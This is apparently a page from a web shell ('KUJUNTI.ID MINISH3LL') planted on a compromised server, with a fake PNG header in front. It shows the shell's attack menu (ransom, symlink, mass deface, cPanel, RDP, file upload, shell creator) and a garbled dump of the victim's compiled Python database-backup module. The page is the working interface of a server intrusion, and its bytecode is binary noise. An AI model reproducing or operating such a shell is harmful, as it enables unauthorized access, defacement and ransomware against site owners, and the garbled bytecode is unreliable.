\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv7/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv7/__pycache__/backup_utils.cpython-310.pyc


o

��g�b�@s`ddlZddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
ddlmZmZddlmZe�e�ZddlmZz
ddlmZdZWneyed	Ze�d
�YnwzddlmZmZdZWn*ey�zddl mZmZdZWney�dZdZd	Ze�d�YnwYnwd
d�Z!dd�Z"dd�Z#ddd�Z$dS)�N)�datetime)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog)�upload_to_storage�get_storage_space)�db)�format_size)� perform_incremental_mysql_backupTFuhArtırımlı yedekleme için XtraBackup desteği bulunamadı. Tüm yedekler tam (full) olarak alınacak.)�encrypt_file�decrypt_fileuNGPG şifreleme modülleri yüklenemedi. Şifreleme devre dışı bırakıldı.c
Cs�z?|dvrddl}|j|||||dd�}|��WdS|dkr5ddl}|j|||||dd�}|��WdSt�d	|���Wd
Styh}	zt�d|�d|�d
|�d|�dt|	���
�WYd}	~	d
Sd}	~	ww)a�
    Test connection to a database server.
    
    Args:
        db_type (str): Database type (mysql, mariadb, postgresql)
        host (str): Database host
        port (int): Database port
        username (str): Database username
        password (str): Database password
        database (str): Database name
        
    Returns:
        bool: True if connection successful, False otherwise
    ��mysql�mariadbrN�)�host�port�user�password�database�connect_timeoutT�
postgresql)rrrr�dbnamer�Unsupported database type: FzDatabase connection error for � �:�/z: )�pymysql�connect�close�psycopg2�logger�error�	Exception�str)
�db_typerr�usernamerrr�connr!�e�r*�>/var/www/html/yedekledb24/DatabaseBackupMaster/backup_utils.py�test_database_connection.s@��,��r,c
Cs�z�tjdd�}|�|j���|��dd|j��d|j��d|j��d|j��dd	d
ddd
dddddd|j	d|g}|d}t
j|dd�}t�
|j�|jdkr^t�d|j�����WdSzIt|d��(}ddl}|�|d��}t�||�Wd�n1s�wYWd�n1s�wYt�|�t�||�t�d�WWdSty�}	zt�dt|	����WYd}	~	WdSd}	~	wwty�}	zt�dt|	����WYd}	~	dSd}	~	ww) a+
    Perform MySQL/MariaDB backup using mysqldump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    F)�delete�	mysqldumpz--host=z--port=z--user=z--password=z--single-transactionz--quickz
--routinesz
--triggersz--eventsz--add-drop-tablez--add-drop-databasez--create-optionsz--extended-insertz
--compressz--max-allowed-packet=1Gz--databasesz-r�.gzT)�capture_outputrzmysqldump error: �rbN�wbz9Compressed MySQL backup file, reducing size significantlyz Could not compress backup file: zMySQL backup error: )�tempfile�NamedTemporaryFile�writer�encoder rrr'r�
subprocess�run�os�unlink�name�
returncoder"r#�stderr�decode�open�gzip�shutil�copyfileobj�remove�move�infor$�warningr%)
�db_conn�	temp_file�pwd_file�cmd�compressed_file�result�f_inr@�f_outr)r*r*r+�perform_mysql_backup]sf



�
���
�����rOc	
CsLz�tj��}|j|d<t|j�|d<|j|d<|j|d<|j|d<d}|j	rOd|j	�d�}tj
�|�rB|}t�
d	|j	�d
|���n
t�d|j	�d|�d
��|dddddddd|g	}tj||dd�}|jdkr�|j��}t�d|���d|vr�d|vr�t�d�WdSWdSty�}zt�dt|����WYd}~dSd}~ww) a&
    Perform PostgreSQL backup using pg_dump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    �PGHOST�PGPORT�PGUSER�
PGPASSWORD�
PGDATABASE�pg_dumpz/usr/lib/postgresql/z/bin/pg_dumpzUsing PostgreSQL z specific pg_dump: zPostgreSQL z pg_dump not found at z, falling back to defaultz--format=customz--blobsz--createz--cleanz--if-existsz	--verbosez--compress=9z--file=T)�envr0rzpg_dump error: zserver versionzclient versionz[PostgreSQL version compatibility issue detected. Please set the correct PostgreSQL version.FzPostgreSQL backup error: N)r9�environ�copyrr%rr'rr�
pg_version�path�existsr"rErFr7r8r<r=r>r#r$)	rGrHrV�pg_dump_cmd�version_specific_cmdrJrL�	error_msgr)r*r*r+�perform_postgresql_backup�sJ




�


��r_c&
Cs�
t��}|j}t|jdd�}�zt�d|���tj�|j	�}|sld|��}t�
|�||_tj
�|�tj
��|rizddlm}||j�WWd	Styh}zt�
dt|����WYd}~Wd	Sd}~wwWd	Stj�|j�}	|	s�d
|��}t�
|�||_tj
�|�tj
��|r�zddlm}||j�WWd	Sty�}zt�
dt|����WYd}~Wd	Sd}~wwWd	Sd}
z(t|	�\}}|dkr�||dnd}
|
dkr�d
|	j�d|
d�d�}
t�|
�Wnt�y	}zdt|���}
t�|
�WYd}~nd}~wwt���d�}|jdv�r1|j�d|�d�}|jdk�r0d|j�d|�d�}n	|j�d|�d�}tj�t �!�|�}d	}d}t"|d��rT|j#�rT|j#}||_#d}|jdv�r�|dk�r�t$�r�t�d|�d|j���|dk�r�tjj%|jdd��&tj'�(���)�}|�r�|j}||_*t�d|�d ��n)|d!k�r�tjj%|jddd"��&tj'�(���)�}|�r�|j}||_*t�d#|�d$��t+||||�}|�r�|�,dd%�}nrt-||�}nl|jd&k�r�|dk�r�t�|�d'��d}||_#t.||�}nNd(|j��}t�
|�||_tj
�|�tj
��|�rEzddlm}||j�WWd	St�yD}zt�
dt|����WYd}~Wd	Sd}~wwWd	S|�s�d)}t�
|�||_tj
�|�tj
��|�r�zddlm}||j�WWd	St�y�}zt�
dt|����WYd}~Wd	Sd}~wwWd	Stj�/|�}d}d*}d	}t"|d+��rE|j0�rEzztj�/|�}t�d,|j1���t2j3||j1d-�}|�r$zt�4|�WnY|}|j1d.k�r�|d/7}n|j1d0k�r�|d17}n
|j1d2k�r�|d37}tj�/|�}|||d}d4|d�d5�}d6}|}t�d7t5|��d8�d9t5|��d:|d�d;��Wnt�yD}zt�
d<t|����d=}WYd}~nd}~wwd}d*}d	} t6�r�t"|d>��r�|j7�r�z||j8d?k�rr|j9�rrt:||j9|d@dA�}dB}d6} nF|j8dCk�r�|j;�r�ddDl<m=}!|!j�|j;�}"|"�r�|"j>�r�t:||"j>g|d@dE�}dF|"j�dG�}d6} nt�dH|�dI��n	t�dJ|�dI��|�r�zt�4|�WnY|}|d@7}tj�/|�}Wnt�y�}zt�
dKt|����dL}WYd}~nd}~wwz�zHt?|	||�}#d|_@g}$|$�AdM�|�r|$�A|�|�r|$�A|�|
�r|$�A|
�dN�|$�|_|#|_B||_Ct"|dO��r<| |_D| �r9|j8nd|_8Wnlt�y�}z_dPt|���}t�
|�||_tj
�|�tj
��|�r�z
ddlm}||j�Wnt�y�}zt�
dt|����WYd}~nd}~wwWYd}~Wz	t�4|�WWd	SYWd	Sd}~wwWzt�4|�WnYn
zt�4|�WwYwt�E�|_Ft��|}%|%|_Gtj
�|�tj
��t�dQ|�dR|%dS�dT��|�rzddlm}||j�WWd6St�y}zt�
dt|����WYd}~Wd6Sd}~wwWd6St�y~}zRdQ|�dUt|���}t�
|�||_tj
�|�tj
��|�rsz
ddlm}||j�Wnt�yr}zt�
dt|����WYd}~nd}~wwWYd}~d	Sd}~ww)Vz�
    Run a backup job.
    
    Args:
        job (BackupJob): Backup job to run
        send_email (bool): Whether to send email notification
        
    Returns:
        bool: True if backup successful, False otherwise
    �failed)�job_id�statuszStarting backup job: z&Database connection not found for job r)�send_backup_notificationz#Failed to send email notification: NFz!Storage target not found for job �d�
zWarning: Storage target z has less than 10% free space (z.1fz% remaining)zCould not check storage space: z
%Y%m%d_%H%M%Sr�_z.sqlr�mariadb_z.dump�full�
backup_methodzPerforming z backup using XtraBackup for �incremental�successzUsing last backup ID z! as parent for incremental backup�differential)rarirbzUsing last full backup ID z" as parent for differential backupz
.xb.tar.gzrzA backup not supported for PostgreSQL, falling back to full backuprzBackup creation failed��compress_backupz"Applying compression with format: )�compression_type�zipz.zipr@r/ztar.gzz.tar.gzu (Sıkıştırma: z%)Tz"Compression successful. Original: z, zCompressed: z	, Ratio: �%zFailed to compress backup: u (Sıkıştırma BAŞARISIZ)�encrypt_backup�	symmetricz.gpg)�
passphrase�output_fileu" (GPG ile şifrelenmiş, simetrik)�
asymmetric)�
EncryptionKey)�
recipientsruu" (GPG ile şifrelenmiş, anahtar: �)z!Encryption key not found for job z, skipping encryptionz)Invalid encryption configuration for job zFailed to encrypt backup: u0 (Şifreleme BAŞARISIZ - şifrelenmemiş yedek)zBackup completed successfullyz. �	encryptedzFailed to upload backup: zBackup job z completed successfully in z.2fz secondsz	 failed: )H�timer;r�idr"rEr�query�get�database_idr#�messager	�session�add�commit�email_utilsrcr$r%r�
storage_idrrFr�now�strftimer&rr9rZ�joinr3�
gettempdir�hasattrri�incremental_backup_support�	filter_by�order_by�	timestamp�desc�first�parent_backup_idr�replacerOr_�getsizernro�database_compression�
compress_filerCr
�encryption_supportrr�encryption_type�encryption_passphraser�encryption_key_id�modelsrw�emailrrb�append�backup_file�backup_sizerz�utcnow�last_run�duration)&�job�
send_email�
start_time�job_name�
backup_logrG�msgrc�	email_err�storage�storage_warning�
free_space�total_space�percent_freer)r��backup_filenamerH�backup_successrir��last_backup�last_full_backupr�rK�compression_message�
compressed�
original_size�compressed_size�compression_ratio�encrypted_file�encryption_messagerzrw�key�remote_path�
message_partsr�r*r*r+�
run_backup�sV


���


���
����
���
���


���

����

���������



�

 ������

���

 ����r�)T)%r9r{r7r3�loggingr�rAr@rr�rrrr�
storage_utilsrr�appr	�	getLogger�__name__r"�utilsr
rr��ImportErrorrF�encryption_utils_simplifiedrr
r��encryption_utilsr,rOr_r�r*r*r*r+�<module>sP
����/IB

© KUJUNTI.ID